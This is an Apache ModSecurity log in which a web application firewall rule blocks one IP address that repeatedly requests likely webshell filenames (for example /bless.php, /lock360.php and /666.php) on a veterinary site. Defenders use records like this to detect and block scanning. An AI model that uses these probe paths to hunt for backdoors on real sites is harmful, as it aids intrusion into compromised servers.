[Mon Apr 06 22:44:24.406926 2026] [:error] [pid 38562:tid 38576] [client 158.158.96.77:29993] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "adPGyKeD6Ohe6wzRuy60iAAAAUs"]
[Mon Apr 06 22:44:24.893802 2026] [:error] [pid 38562:tid 38567] [client 158.158.96.77:25718] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "adPGyKeD6Ohe6wzRuy60jAAAAUI"]
[Mon Apr 06 22:44:25.389458 2026] [:error] [pid 9442:tid 9453] [client 158.158.96.77:30009] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/te.php"] [unique_id "adPGyUPsNnAJTnmz6sZBsAAAAQk"]
[Mon Apr 06 22:44:25.903915 2026] [:error] [pid 35688:tid 35752] [client 158.158.96.77:65502] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/te.php"] [unique_id "adPGyeZ85qg4jLsRpQz-GwAAAII"]
[Mon Apr 06 22:44:26.400889 2026] [:error] [pid 9442:tid 9445] [client 158.158.96.77:30596] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/te.php"] [unique_id "adPGykPsNnAJTnmz6sZBvAAAAQE"]
[Mon Apr 06 22:44:26.935505 2026] [:error] [pid 9442:tid 9446] [client 158.158.96.77:27984] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/te.php"] [unique_id "adPGykPsNnAJTnmz6sZByAAAAQI"]
[Mon Apr 06 22:44:27.416633 2026] [:error] [pid 35688:tid 35767] [client 158.158.96.77:3746] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "adPGy-Z85qg4jLsRpQz-JgAAAJE"]
[Mon Apr 06 22:44:27.943575 2026] [:error] [pid 9442:tid 9455] [client 158.158.96.77:30593] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "adPGy0PsNnAJTnmz6sZB0AAAAQs"]
[Mon Apr 06 22:44:28.425487 2026] [:error] [pid 1827:tid 1840] [client 158.158.96.77:3732] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "adPGzOVeb6S_DnjZ2xE4SgAAAgs"]
[Mon Apr 06 22:44:28.946770 2026] [:error] [pid 35686:tid 35707] [client 158.158.96.77:3750] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "adPGzMMKdea6oORd2fz1ZgAAAAs"]
[Mon Apr 06 22:44:29.462892 2026] [:error] [pid 1827:tid 1835] [client 158.158.96.77:34050] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "adPGzeVeb6S_DnjZ2xE4TQAAAgY"]
[Mon Apr 06 22:44:29.963957 2026] [:error] [pid 35688:tid 35754] [client 158.158.96.77:30003] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "adPGzeZ85qg4jLsRpQz-MQAAAIQ"]
[Mon Apr 06 22:44:30.461469 2026] [:error] [pid 35688:tid 35772] [client 158.158.96.77:29412] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "adPGzuZ85qg4jLsRpQz-MgAAAJY"]
[Mon Apr 06 22:44:30.943993 2026] [:error] [pid 9442:tid 9462] [client 158.158.96.77:28258] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "adPGzkPsNnAJTnmz6sZB4QAAARI"]
[Mon Apr 06 22:44:31.446979 2026] [:error] [pid 35688:tid 35752] [client 158.158.96.77:23040] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "adPGz-Z85qg4jLsRpQz-OQAAAII"]
[Mon Apr 06 22:44:31.962990 2026] [:error] [pid 9442:tid 9450] [client 158.158.96.77:24753] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "adPGz0PsNnAJTnmz6sZB6AAAAQY"]
[Mon Apr 06 22:44:32.493750 2026] [:error] [pid 35786:tid 35817] [client 158.158.96.77:3964] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "adPG0GgkfCKTaLhwaKQukQAAANg"]
[Mon Apr 06 22:44:32.972902 2026] [:error] [pid 9442:tid 9454] [client 158.158.96.77:3743] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "adPG0EPsNnAJTnmz6sZB-AAAAQo"]
[Mon Apr 06 22:44:33.459441 2026] [:error] [pid 35688:tid 35764] [client 158.158.96.77:3196] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "adPG0eZ85qg4jLsRpQz-SgAAAI4"]
[Mon Apr 06 22:44:34.014707 2026] [:error] [pid 35688:tid 35760] [client 158.158.96.77:31912] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "adPG0uZ85qg4jLsRpQz-TwAAAIo"]
[Mon Apr 06 22:44:34.504774 2026] [:error] [pid 35688:tid 35764] [client 158.158.96.77:3195] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "adPG0uZ85qg4jLsRpQz-VAAAAI4"]
[Mon Apr 06 22:44:35.030934 2026] [:error] [pid 35687:tid 35729] [client 158.158.96.77:3762] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "adPG053LtDozV0i8BiuE6QAAAEY"]
[Mon Apr 06 22:44:35.533940 2026] [:error] [pid 38562:tid 38581] [client 158.158.96.77:43182] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "adPG06eD6Ohe6wzRuy60qQAAAVA"]
[Mon Apr 06 22:44:36.045377 2026] [:error] [pid 35688:tid 35759] [client 158.158.96.77:3191] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "adPG1OZ85qg4jLsRpQz-XwAAAIk"]
[Mon Apr 06 22:44:36.526442 2026] [:error] [pid 9442:tid 9455] [client 158.158.96.77:65509] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "adPG1EPsNnAJTnmz6sZCAwAAAQs"]
[Mon Apr 06 22:44:37.034736 2026] [:error] [pid 1827:tid 1839] [client 158.158.96.77:65474] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "adPG1eVeb6S_DnjZ2xE4UgAAAgo"]
[Mon Apr 06 22:44:37.583327 2026] [:error] [pid 10280:tid 10292] [client 158.158.96.77:3186] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/manager.php"] [unique_id "adPG1V8QUJkf8g-BFfM3UQAAAck"]
[Mon Apr 06 22:44:38.129432 2026] [:error] [pid 9442:tid 9468] [client 158.158.96.77:65508] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/manager.php"] [unique_id "adPG1kPsNnAJTnmz6sZCBgAAARg"]
[Mon Apr 06 22:44:38.664984 2026] [:error] [pid 9413:tid 9439] [client 158.158.96.77:3173] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/manager.php"] [unique_id "adPG1nllvEK3chn01wHYrwAAAZg"]
[Mon Apr 06 22:44:39.200527 2026] [:error] [pid 9442:tid 9450] [client 158.158.96.77:33292] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/manager.php"] [unique_id "adPG10PsNnAJTnmz6sZCCQAAAQY"]
[Mon Apr 06 22:44:39.694541 2026] [:error] [pid 35687:tid 35744] [client 158.158.96.77:65521] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "adPG153LtDozV0i8BiuE8QAAAFU"]
[Mon Apr 06 22:44:40.334026 2026] [:error] [pid 9442:tid 9456] [client 158.158.96.77:3247] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "adPG2EPsNnAJTnmz6sZCDAAAAQw"]
[Mon Apr 06 22:44:41.167318 2026] [:error] [pid 9442:tid 9447] [client 158.158.96.77:3800] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "adPG2UPsNnAJTnmz6sZCEwAAAQM"]
[Mon Apr 06 22:44:42.193651 2026] [:error] [pid 35686:tid 35711] [client 158.158.96.77:3960] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "adPG2sMKdea6oORd2fz1cAAAAA8"]
[Mon Apr 06 22:44:42.846372 2026] [:error] [pid 35687:tid 35727] [client 158.158.96.77:3832] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "adPG2p3LtDozV0i8BiuE9QAAAEQ"]
[Mon Apr 06 22:44:43.389726 2026] [:error] [pid 9442:tid 9464] [client 158.158.96.77:3919] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "adPG20PsNnAJTnmz6sZCGwAAARQ"]
[Mon Apr 06 22:44:43.979395 2026] [:error] [pid 38562:tid 38577] [client 158.158.96.77:29822] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "adPG26eD6Ohe6wzRuy60tQAAAUw"]
[Mon Apr 06 22:44:44.571293 2026] [:error] [pid 35686:tid 35714] [client 158.158.96.77:31924] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "adPG3MMKdea6oORd2fz1ewAAABI"]
[Mon Apr 06 22:44:45.087450 2026] [:error] [pid 35688:tid 35774] [client 158.158.96.77:29015] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "adPG3eZ85qg4jLsRpQz-dgAAAJg"]
[Mon Apr 06 22:44:45.670477 2026] [:error] [pid 9442:tid 9450] [client 158.158.96.77:43169] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "adPG3UPsNnAJTnmz6sZCIgAAAQY"]
[Mon Apr 06 22:44:46.529930 2026] [:error] [pid 9442:tid 9452] [client 158.158.96.77:3796] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "adPG3kPsNnAJTnmz6sZCJwAAAQg"]
[Mon Apr 06 22:44:47.234941 2026] [:error] [pid 1827:tid 1835] [client 158.158.96.77:25934] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "adPG3-Veb6S_DnjZ2xE4dQAAAgY"]
[Mon Apr 06 22:44:48.051532 2026] [:error] [pid 9442:tid 9462] [client 158.158.96.77:3797] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "adPG4EPsNnAJTnmz6sZCNgAAARI"]
[Mon Apr 06 22:44:48.572634 2026] [:error] [pid 35687:tid 35726] [client 158.158.96.77:43163] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "adPG4J3LtDozV0i8BiuFAwAAAEM"]
[Mon Apr 06 22:44:49.134896 2026] [:error] [pid 9442:tid 9445] [client 158.158.96.77:35127] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "adPG4UPsNnAJTnmz6sZCPQAAAQE"]
[Mon Apr 06 22:44:49.709419 2026] [:error] [pid 9413:tid 9417] [client 158.158.96.77:29025] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "adPG4XllvEK3chn01wHYugAAAYI"]
[Mon Apr 06 22:44:50.289170 2026] [:error] [pid 35786:tid 35803] [client 158.158.96.77:29805] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "adPG4mgkfCKTaLhwaKQupAAAAMo"]
[Mon Apr 06 22:44:50.791631 2026] [:error] [pid 35686:tid 35709] [client 158.158.96.77:29019] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "adPG4sMKdea6oORd2fz1kAAAAA0"]
[Mon Apr 06 22:44:51.359686 2026] [:error] [pid 1827:tid 1837] [client 158.158.96.77:35132] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "adPG4-Veb6S_DnjZ2xE4ggAAAgg"]
[Mon Apr 06 22:44:52.445967 2026] [:error] [pid 10280:tid 10291] [client 158.158.96.77:3906] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "adPG5F8QUJkf8g-BFfM3bAAAAcg"]
[Mon Apr 06 22:44:53.816949 2026] [:error] [pid 35786:tid 35816] [client 158.158.96.77:33307] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "adPG5WgkfCKTaLhwaKQuqQAAANc"]
[Mon Apr 06 22:44:54.793440 2026] [:error] [pid 38562:tid 38568] [client 158.158.96.77:3958] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "adPG5qeD6Ohe6wzRuy600wAAAUM"]
[Mon Apr 06 22:44:55.560631 2026] [:error] [pid 9442:tid 9449] [client 158.158.96.77:35124] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "adPG50PsNnAJTnmz6sZCTgAAAQU"]
[Mon Apr 06 22:44:56.192038 2026] [:error] [pid 38562:tid 38572] [client 158.158.96.77:35024] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "adPG6KeD6Ohe6wzRuy603AAAAUc"]
[Mon Apr 06 22:44:56.825630 2026] [:error] [pid 38562:tid 38582] [client 158.158.96.77:35122] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "adPG6KeD6Ohe6wzRuy604wAAAVE"]
[Mon Apr 06 22:44:57.571958 2026] [:error] [pid 10280:tid 10302] [client 158.158.96.77:33295] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "adPG6V8QUJkf8g-BFfM3dwAAAdM"]
[Mon Apr 06 22:44:58.129650 2026] [:error] [pid 1827:tid 1851] [client 158.158.96.77:3146] [client 158.158.96.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "adPG6uVeb6S_DnjZ2xE4hwAAAhY"]
